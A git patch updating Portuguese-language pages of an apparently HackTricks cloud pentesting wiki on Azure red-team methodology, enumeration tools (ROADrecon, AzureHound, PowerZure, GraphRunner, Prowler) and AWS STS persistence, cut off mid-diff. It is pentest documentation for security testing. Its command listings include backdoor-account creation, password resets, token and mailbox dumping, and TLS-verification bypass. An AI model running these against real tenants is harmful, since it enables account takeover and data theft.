From 132dd9ac593d896b1544b69a606a20d1a5d87233 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 21 Jan 2025 17:39:39 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p --- .../aws-persistence/aws-sts-persistence.md | 10 +- src/pentesting-cloud/azure-security/README.md | 240 +---------------- .../azure-security/az-enumeration-tools.md | 242 +++++++++++++++++- .../az-arc-vulnerable-gpo-deploy-script.md | 22 +- .../README.md | 2 +- .../az-synchronising-new-users.md | 2 +- .../federation.md | 18 +- .../phs-password-hash-sync.md | 18 +- .../pta-pass-through-authentication.md | 8 +- .../seamless-sso.md | 12 +- .../pass-the-prt.md | 34 +-- .../az-permissions-for-a-pentest.md | 6 +- .../azure-security/az-persistence/README.md | 16 +- .../az-automation-accounts-privesc.md | 14 +- ...-conditional-access-policies-mfa-bypass.md | 20 +- .../az-entraid-privesc/dynamic-groups.md | 6 +- ...az-virtual-machines-and-network-privesc.md | 10 +- .../azure-security/az-services/README.md | 4 +- .../azure-security/az-services/az-acr.md | 2 +- .../az-services/az-app-services.md | 10 +- .../az-services/az-application-proxy.md | 8 +- .../az-services/az-arm-templates.md | 4 +- .../az-services/az-automation-accounts.md | 12 +- .../azure-security/az-services/az-azuread.md | 66 ++--- .../azure-security/az-services/az-cosmosDB.md | 6 +- .../az-services/az-file-shares.md | 10 +- .../azure-security/az-services/az-keyvault.md | 8 +- .../az-services/az-logic-apps.md | 6 +- .../azure-security/az-services/az-mysql.md | 6 +- .../az-services/az-postgresql.md | 4 +- .../azure-security/az-services/az-sql.md | 26 +- .../azure-security/az-services/az-storage.md | 34 +-- .../az-services/az-table-storage.md | 14 +- .../azure-security/az-services/intune.md | 6 +- .../azure-security/az-services/vms/README.md | 38 +-- .../az-services/vms/az-azure-network.md | 68 ++--- .../README.md | 30 +-- .../az-password-spraying.md | 4 +- .../pentesting-cloud-methodology.md | 18 +- .../gcds-google-cloud-directory-sync.md | 10 +- ...-google-credential-provider-for-windows.md | 34 ++- .../gps-google-password-sync.md | 6 +- 42 files changed, 558 insertions(+), 556 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index acb7ac0b4..598c92c53 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -18,10 +18,10 @@ Tokens temporários não podem ser listados, então manter um token temporário # Com MFA aws sts get-session-token \ ---serial-number <mfa-device-name> \ ---token-code <code-from-token> +--serial-number \ +--token-code -# O nome do dispositivo de hardware é geralmente o número na parte de trás do dispositivo, como GAHT12345678 +# O nome do dispositivo de hardware geralmente é o número na parte de trás do dispositivo, como GAHT12345678 # O nome do dispositivo SMS é o ARN na AWS, como arn:aws:iam::123456789012:sms-mfa/username # O nome do dispositivo virtual é o ARN na AWS, como arn:aws:iam::123456789012:mfa/username @@ -40,12 +40,12 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> Observe que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras de uma cadeia de funções ser configurada. +> Note que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras de uma cadeia de funções ser configurada.
Código para realizar Role Juggling a partir do PowerShell -```powershell +```bash # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 7480308db..c4973c504 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -10,9 +10,9 @@ az-basic-information/ ## Metodologia de Pentesting/Red Team do Azure -Para auditar um ambiente AZURE, é muito importante saber: quais **serviços estão sendo utilizados**, o que está **sendo exposto**, quem tem **acesso** a quê e como os serviços internos do Azure e os **serviços externos** estão conectados. +Para auditar um ambiente AZURE, é muito importante saber: quais **serviços estão sendo utilizados**, o que está **sendo exposto**, quem tem **acesso** a quê, e como os serviços internos do Azure e os **serviços externos** estão conectados. -Do ponto de vista do Red Team, o **primeiro passo para comprometer um ambiente Azure** é conseguir obter algumas **credenciais** para o Azure AD. Aqui estão algumas ideias sobre como fazer isso: +Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambiente Azure** é conseguir obter algumas **credenciais** para o Azure AD. Aqui estão algumas ideias sobre como fazer isso: - **Vazamentos** no github (ou similar) - OSINT - **Engenharia** Social @@ -33,7 +33,7 @@ Use `Disconnect-AzAccount` para removê-los. - [Phishing de Autenticação por Código de Dispositivo](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [**Password Spraying** do Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Mesmo que você **não tenha comprometido nenhum usuário** dentro do locatário do Azure que está atacando, você pode **coletar algumas informações** dele: +Mesmo que você **não tenha comprometido nenhum usuário** dentro do tenant do Azure que está atacando, você pode **coletar algumas informações** dele: {{#ref}} az-unauthenticated-enum-and-initial-entry/ @@ -62,11 +62,11 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met Em casos onde você tem algumas credenciais válidas, mas não consegue fazer login, estas são algumas proteções comuns que podem estar em vigor: - **Whitelist de IP** -- Você precisa comprometer um IP válido -- **Restrições geográficas** -- Descubra onde o usuário mora ou onde estão os escritórios da empresa e obtenha um IP da mesma cidade (ou país, pelo menos) +- **Restrições Geográficas** -- Descubra onde o usuário mora ou onde estão os escritórios da empresa e obtenha um IP da mesma cidade (ou país, pelo menos) - **Navegador** -- Talvez apenas um navegador de certo SO (Windows, Linux, Mac, Android, iOS) seja permitido. Descubra qual SO a vítima/empresa usa. - Você também pode tentar **comprometer credenciais de Service Principal**, pois geralmente são menos limitadas e seu login é menos revisado -Depois de contornar isso, você pode ser capaz de voltar à sua configuração inicial e ainda terá acesso. +Após contornar isso, você pode ser capaz de voltar à sua configuração inicial e ainda terá acesso. ### Tomada de Subdomínio @@ -92,7 +92,7 @@ az account management-group list #Not allowed by default {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant @@ -101,7 +101,7 @@ Get-AzureADTenantDetail {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext # List all available contexts @@ -120,7 +120,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Um dos comandos mais importantes para enumerar o Azure é **`Get-AzResource`** do Az PowerShell, pois permite que você **saiba os recursos que seu usuário atual tem visibilidade**. +> Um dos comandos mais importantes para enumerar o Azure é **`Get-AzResource`** do Az PowerShell, pois permite que você **saiba quais recursos seu usuário atual tem visibilidade**. > > Você pode obter as mesmas informações na **console web** acessando [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ou pesquisando por "Todos os recursos" @@ -134,7 +134,7 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> Agora que você **tem algumas informações sobre suas credenciais** (e se você é uma equipe vermelha, espero que você **não tenha sido detectado**). É hora de descobrir quais serviços estão sendo usados no ambiente.\ +> Agora que você **tem algumas informações sobre suas credenciais** (e se você é um red team, espero que você **não tenha sido detectado**). É hora de descobrir quais serviços estão sendo usados no ambiente.\ > Na seção a seguir, você pode verificar algumas maneiras de **enumerar alguns serviços comuns.** ## App Service SCM @@ -149,226 +149,4 @@ Use portal.azure.com e selecione o shell, ou use shell.azure.com, para um bash o Azure DevOps é separado do Azure. Ele possui repositórios, pipelines (yaml ou release), quadros, wiki e mais. Grupos de Variáveis são usados para armazenar valores de variáveis e segredos. -## Debug | MitM az cli - -Usando o parâmetro **`--debug`** é possível ver todas as requisições que a ferramenta **`az`** está enviando: -```bash -az account management-group list --output table --debug -``` -Para fazer um **MitM** na ferramenta e **verificar todas as requisições** que ela está enviando manualmente, você pode fazer: - -{{#tabs }} -{{#tab name="Bash" }} -```bash -export ADAL_PYTHON_SSL_NO_VERIFY=1 -export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -export HTTPS_PROXY="http://127.0.0.1:8080" -export HTTP_PROXY="http://127.0.0.1:8080" - -# If this is not enough -# Download the certificate from Burp and convert it into .pem format -# And export the following env variable -openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM -export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem -``` -{{#endtab }} - -{{#tab name="PS" }} -```bash -$env:ADAL_PYTHON_SSL_NO_VERIFY=1 -$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -$env:HTTPS_PROXY="http://127.0.0.1:8080" -$env:HTTP_PROXY="http://127.0.0.1:8080" -``` -{{#endtab }} -{{#endtabs }} - -## Ferramentas de Reconhecimento Automatizado - -### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) -```powershell -cd ROADTools -pipenv shell -roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" -roadrecon gather -roadrecon gui -``` -### [Monkey365](https://github.com/silverhack/monkey365) -```powershell -Import-Module monkey365 -Get-Help Invoke-Monkey365 -Get-Help Invoke-Monkey365 -Detailed -Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue -Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML -``` -### [**Stormspotter**](https://github.com/Azure/Stormspotter) -```powershell -# Start Backend -cd stormspotter\backend\ -pipenv shell -python ssbackend.pyz - -# Start Front-end -cd stormspotter\frontend\dist\spa\ -quasar.cmd serve -p 9091 --history - -# Run Stormcollector -cd stormspotter\stormcollector\ -pipenv shell -az login -u test@corp.onmicrosoft.com -p Welcome2022! -python stormspotter\stormcollector\sscollector.pyz cli -# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) -``` -### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) -```powershell -# You need to use the Az PowerShell and Azure AD modules: -$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force -$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd) -Connect-AzAccount -Credential $creds - -Import-Module AzureAD\AzureAD.psd1 -Connect-AzureAD -Credential $creds - -# Launch AzureHound -. AzureHound\AzureHound.ps1 -Invoke-AzureHound -Verbose - -# Simple queries -## All Azure Users -MATCH (n:AZUser) return n.name -## All Azure Applications -MATCH (n:AZApp) return n.objectid -## All Azure Devices -MATCH (n:AZDevice) return n.name -## All Azure Groups -MATCH (n:AZGroup) return n.name -## All Azure Key Vaults -MATCH (n:AZKeyVault) return n.name -## All Azure Resource Groups -MATCH (n:AZResourceGroup) return n.name -## All Azure Service Principals -MATCH (n:AZServicePrincipal) return n.objectid -## All Azure Virtual Machines -MATCH (n:AZVM) return n.name -## All Principals with the ‘Contributor’ role -MATCH p = (n)-[r:AZContributor]->(g) RETURN p - -# Advanced queries -## Get Global Admins -MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p -## Owners of Azure Groups -MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p -## All Azure Users and their Groups -MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p -## Privileged Service Principals -MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p -## Owners of Azure Applications -MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p -## Paths to VMs -MATCH p = (n)-[r]->(g: AZVM) RETURN p -## Paths to KeyVault -MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p -## Paths to Azure Resource Group -MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p -## On-Prem users with edges to Azure -MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p -## All Azure AD Groups that are synchronized with On-Premise AD -MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n -``` -### [Azucar](https://github.com/nccgroup/azucar) -```bash -# You should use an account with at least read-permission on the assets you want to access -git clone https://github.com/nccgroup/azucar.git -PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File - -PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 - -# resolve the TenantID for an specific username -PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com -``` -### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) -``` -Import-Module .\MicroBurst.psm1 -Import-Module .\Get-AzureDomainInfo.ps1 -Get-AzureDomainInfo -folder MicroBurst -Verbose -``` -### [**PowerZure**](https://github.com/hausec/PowerZure) -```powershell -Connect-AzAccount -ipmo C:\Path\To\Powerzure.psd1 -Get-AzureTarget - -# Reader -$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails - -# Contributor -$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami" -$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml" -$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents -$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk - -# Owner -$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest - -# Administrator -$ Create-Backdoor, Execute-Backdoor -``` -### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) -```powershell - -#Get-GraphTokens -#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) -Import-Module .\GraphRunner.ps1 -Get-GraphTokens - -#Invoke-GraphRecon -#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-DumpCAPS -Tokens $tokens -ResolveGuids - -#Invoke-DumpApps -#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. -Invoke-DumpApps -Tokens $tokens - -#Get-AzureADUsers -#Gather the full list of users from the directory. -Get-AzureADUsers -Tokens $tokens -OutFile users.txt - -#Get-SecurityGroups -#Create a list of security groups along with their members. -Get-SecurityGroups -AccessToken $tokens.access_token - -G#et-UpdatableGroups -#Gets groups that may be able to be modified by the current user -Get-UpdatableGroups -Tokens $tokens - -#Get-DynamicGroups -#Finds dynamic groups and displays membership rules -Get-DynamicGroups -Tokens $tokens - -#Get-SharePointSiteURLs -#Gets a list of SharePoint site URLs visible to the current user -Get-SharePointSiteURLs -Tokens $tokens - -#Invoke-GraphOpenInboxFinder -#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. -Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt - -#Get-TenantID -#This module attempts to gather a tenant ID associated with a domain. -Get-TenantID -Domain - -#Invoke-GraphRunner -#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. -Invoke-GraphRunner -Tokens $tokens -``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 6917bff9d..05201450d 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -4,7 +4,7 @@ ## Instalar PowerShell no Linux -> [!TIP] +> [!DICA] > No Linux, você precisará instalar o PowerShell Core: ```bash sudo apt-get update @@ -128,4 +128,244 @@ O módulo Azure Active Directory (AD), agora **obsoleto**, é parte do Azure Pow Siga este link para as [**instruções de instalação**](https://www.powershellgallery.com/packages/AzureAD). + +## Ferramentas de Reconhecimento e Conformidade Automatizadas + +### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure) + +O Turbot com steampipe e powerpipe permite coletar informações do Azure e Entra ID e realizar verificações de conformidade e encontrar configurações incorretas. Os módulos do Azure atualmente mais recomendados para execução são: + +- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance) +- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights) +- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights) +```bash +# Install +brew install turbot/tap/powerpipe +brew install turbot/tap/steampipe +steampipe plugin install azure +steampipe plugin install azuread + +# Config creds via env vars or az cli default creds will be used +export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD" +export AZURE_TENANT_ID="" +export AZURE_SUBSCRIPTION_ID="" +export AZURE_CLIENT_ID="" +export AZURE_CLIENT_SECRET="" + +# Run steampipe-mod-azure-insights +cd /tmp +mkdir dashboards +cd dashboards +powerpipe mod init +powerpipe mod install github.com/turbot/steampipe-mod-azure-insights +steampipe service start +powerpipe server +# Go to http://localhost:9033 in a browser +``` +### [Prowler](https://github.com/prowler-cloud/prowler) + +Prowler é uma ferramenta de segurança Open Source para realizar avaliações de melhores práticas de segurança, auditorias, resposta a incidentes, monitoramento contínuo, endurecimento e prontidão forense em AWS, Azure, Google Cloud e Kubernetes. + +Basicamente, permitiria que executássemos centenas de verificações em um ambiente Azure para encontrar configurações de segurança incorretas e reunir os resultados em json (e outros formatos de texto) ou verificá-los na web. +```bash +# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app + +# Launch web with docker-compose +export DOCKER_DEFAULT_PLATFORM=linux/amd64 +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env +## If using an old docker-compose version, change the "env_file" params to: env_file: ".env" +docker compose up -d +# Access the web and configure the access to run a scan from it + +# Prowler cli +python3 -m pip install prowler --break-system-packages +docker run --rm toniblyx/prowler:v4-latest azure --list-checks +docker run --rm toniblyx/prowler:v4-latest azure --list-services +docker run --rm toniblyx/prowler:v4-latest azure --list-compliance +docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=" -e "AZURE_CLIENT_SECRET=" toniblyx/prowler:v4-latest azure --sp-env-auth +## It also support other authentication types, check: prowler azure --help +``` +### [Monkey365](https://github.com/silverhack/monkey365) + +Ele permite realizar revisões de configuração de segurança de assinaturas do Azure e do Microsoft Entra ID automaticamente. + +Os relatórios em HTML são armazenados dentro do diretório `./monkey-reports` na pasta do repositório do github. +```bash +git clone https://github.com/silverhack/monkey365 +Get-ChildItem -Recurse monkey365 | Unblock-File +cd monkey365 +Import-Module ./monkey365 +mkdir /tmp/monkey365-scan +cd /tmp/monkey365-scan + +Get-Help Invoke-Monkey365 +Get-Help Invoke-Monkey365 -Detailed + +# Scan with user creds (browser will be run) +Invoke-Monkey365 -TenantId -Instance Azure -Collect All -ExportTo HTML + +# Scan with App creds +$SecureClientSecret = ConvertTo-SecureString "" -AsPlainText -Force +Invoke-Monkey365 -TenantId -ClientId -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML +``` +### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) + +O Scout Suite coleta dados de configuração para inspeção manual e destaca áreas de risco. É uma ferramenta de auditoria de segurança multi-cloud, que permite a avaliação da postura de segurança de ambientes em nuvem. +```bash +virtualenv -p python3 venv +source venv/bin/activate +pip install scoutsuite +scout --help + +# Use --cli flag to use az cli credentials +# Use --user-account to have scout prompt for user credentials +# Use --user-account-browser to launch a browser to login +# Use --service-principal to have scout prompt for app credentials + +python scout.py azure --cli +``` +### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting) + +É um script do PowerShell que ajuda você a **visualizar todos os recursos e permissões dentro de um Grupo de Gerenciamento e do tenant Entra ID** e encontrar configurações de segurança incorretas. + +Funciona usando o módulo Az PowerShell, então qualquer autenticação suportada por esta ferramenta é suportada pela ferramenta. +```bash +import-module Az +.\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ] +``` +## Ferramentas de Pós-Exploração Automatizadas + +### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) + +A enumeração do ROADRecon oferece informações sobre a configuração do Entra ID, como usuários, grupos, funções, políticas de acesso condicional... +```bash +cd ROADTools +pipenv shell +# Login with user creds +roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" +# Login with app creds +roadrecon auth --as-app --client "" --password "" --tenant "" +roadrecon gather +roadrecon gui +``` +### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) +```bash +# Launch AzureHound +## Login with app secret +azurehound -a "" -s "" --tenant "" list -o ./output.json +## Login with user creds +azurehound -u "" -p "" --tenant "" list -o ./output.json +``` +Inicie o **BloodHound** web com **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** e importe o arquivo `output.json`. + +Em seguida, na aba **EXPLORE**, na seção **CYPHER**, você pode ver um ícone de **pasta** que contém consultas pré-construídas. + +### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) + +MicroBurst inclui funções e scripts que suportam a descoberta de Serviços Azure, auditoria de configurações fracas e ações de pós-exploração, como extração de credenciais. É destinado a ser usado durante testes de penetração onde o Azure está em uso. +```bash +Import-Module .\MicroBurst.psm1 +Import-Module .\Get-AzureDomainInfo.ps1 +Get-AzureDomainInfo -folder MicroBurst -Verbose +``` +### [**PowerZure**](https://github.com/hausec/PowerZure) + +PowerZure foi criado a partir da necessidade de um framework que possa realizar tanto reconhecimento quanto exploração do Azure, EntraID e os recursos associados. + +Ele usa o módulo **Az PowerShell**, então qualquer autenticação suportada por esta ferramenta é suportada pela ferramenta. +```bash +# Login +Import-Module Az +Connect-AzAccount + +# Clone and import PowerZure +git clone https://github.com/hausec/PowerZure +cd PowerZure +ipmo ./Powerzure.psd1 +Invoke-Powerzure -h # Check all the options + +# Info Gathering (read) +Get-AzureCurrentUser # Get current user +Get-AzureTarget # What can you access to +Get-AzureUser -All # Get all users +Get-AzureSQLDB -All # Get all SQL DBs +Get-AzureAppOwner # Owners of apps in Entra +Show-AzureStorageContent -All # List containers, shared and tables +Show-AzureKeyVaultContent -All # List all contents in key vaults + + +# Operational (write) +Set-AzureUserPassword -Password -Username # Change password +Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC. +New-AzureBackdoor -Username -Password +Invoke-AzureRunCommand -Command -VMName +[...] +``` +### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) + +GraphRunner é um conjunto de ferramentas de pós-exploração para interagir com a Microsoft Graph API. Ele fornece várias ferramentas para realizar reconhecimento, persistência e pilhagem de dados de uma conta Microsoft Entra ID (Azure AD). +```bash +#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) +Import-Module .\GraphRunner.ps1 +Get-GraphTokens + +#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-DumpCAPS -Tokens $tokens -ResolveGuids + +#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. +Invoke-DumpApps -Tokens $tokens + +#Gather the full list of users from the directory. +Get-AzureADUsers -Tokens $tokens -OutFile users.txt + +#Create a list of security groups along with their members. +Get-SecurityGroups -AccessToken $tokens.access_token + +#Gets groups that may be able to be modified by the current user +Get-UpdatableGroups -Tokens $tokens + +#Finds dynamic groups and displays membership rules +Get-DynamicGroups -Tokens $tokens + +#Gets a list of SharePoint site URLs visible to the current user +Get-SharePointSiteURLs -Tokens $tokens + +#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. +Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt + +#This module attempts to gather a tenant ID associated with a domain. +Get-TenantID -Domain + +#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. +Invoke-GraphRunner -Tokens $tokens +``` +### [Stormspotter](https://github.com/Azure/Stormspotter) + +Stormspotter cria um “gráfico de ataque” dos recursos em uma assinatura do Azure. Ele permite que equipes vermelhas e pentesters visualizem a superfície de ataque e as oportunidades de pivô dentro de um inquilino, e potencializa seus defensores para se orientarem rapidamente e priorizarem o trabalho de resposta a incidentes. + +**Infelizmente, parece estar desatualizado**. +```bash +# Start Backend +cd stormspotter\backend\ +pipenv shell +python ssbackend.pyz + +# Start Front-end +cd stormspotter\frontend\dist\spa\ +quasar.cmd serve -p 9091 --history + +# Run Stormcollector +cd stormspotter\stormcollector\ +pipenv shell +az login -u test@corp.onmicrosoft.com -p Welcome2022! +python stormspotter\stormcollector\sscollector.pyz cli +# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) +``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 0c9f0f055..82ee82e3b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -1,4 +1,4 @@ -# Az - Arc script de implantação GPO vulnerável +# Az - Arc vulnerable GPO Deploy Script {{#include ../../../banners/hacktricks-training.md}} @@ -13,8 +13,8 @@ Quando executado, o script DeployGPO.ps1 realiza as seguintes ações: Ao executar este script, os administradores de sistema precisam fornecer dois parâmetros principais: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Além disso, requer outros parâmetros, como o domínio, o FQDN do servidor que hospeda o compartilhamento e o nome do compartilhamento. Detalhes adicionais, como o ID do locatário, grupo de recursos e outras informações necessárias, também devem ser fornecidos ao script. -Um segredo criptografado é gerado no diretório AzureArcDeploy no compartilhamento especificado usando criptografia DPAPI-NG. O segredo criptografado é armazenado em um arquivo chamado encryptedServicePrincipalSecret. Evidências disso podem ser encontradas no script DeployGPO.ps1, onde a criptografia é realizada chamando ProtectBase64 com $descriptor e $ServicePrincipalSecret como entradas. O descriptor consiste nos SIDs do grupo de Computadores de Domínio e Controladores de Domínio, garantindo que o ServicePrincipalSecret só possa ser descriptografado pelos grupos de segurança Controladores de Domínio e Computadores de Domínio, conforme observado nos comentários do script. -```powershell +Um segredo criptografado é gerado no diretório AzureArcDeploy no compartilhamento especificado usando a criptografia DPAPI-NG. O segredo criptografado é armazenado em um arquivo chamado encryptedServicePrincipalSecret. Evidências disso podem ser encontradas no script DeployGPO.ps1, onde a criptografia é realizada chamando ProtectBase64 com $descriptor e $ServicePrincipalSecret como entradas. O descriptor consiste nos SIDs do grupo de Computadores de Domínio e Controladores de Domínio, garantindo que o ServicePrincipalSecret só possa ser descriptografado pelos Controladores de Domínio e grupos de segurança de Computadores de Domínio, conforme observado nos comentários do script. +```bash # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID $DomainControllersSID = "SID=" + $DomainControllersSID @@ -26,25 +26,25 @@ $encryptedSecret = 